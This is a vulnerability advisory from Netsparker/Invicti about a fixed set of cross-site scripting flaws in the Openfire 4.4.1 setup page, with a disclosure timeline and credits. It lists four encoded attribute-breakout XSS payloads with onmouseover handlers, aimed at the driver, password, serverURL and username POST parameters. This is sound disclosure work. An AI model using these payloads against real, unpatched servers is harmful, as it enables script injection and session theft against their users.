Multiple Cross-site Scripting Vulnerabilities in Openfire 4.4.1

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in Openfire 4.4.1
Affected Software: Openfire
Affected Versions: 4.4.1
Vendor Homepage: https://www.igniterealtime.org/
Vulnerability Type: Cross-site Scripting
Severity: Medium
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Invicti Advisory Reference: NS-19-015

Technical Details

URL: http://{DOMAIN}/setup/setup-datasource-standard.jsp
Parameter Name: driver
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x003276)+x%3d%22

URL: http://{DOMAIN}/setup/setup-datasource-standard.jsp
Parameter Name: password
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x003403)+x%3d%22

URL: http://{DOMAIN}/setup/setup-datasource-standard.jsp
Parameter Name: serverURL
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x0033A0)+x%3d%22

URL: http://{DOMAIN}/setup/setup-datasource-standard.jsp
Parameter Name: username
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x003213)+x%3d%22

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

20th August 2019 – First Contact
25th September 2019 – Vendor Fixed
11th October 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Huriye Özdemir while testing the Invicti Web Application Security Scanner.

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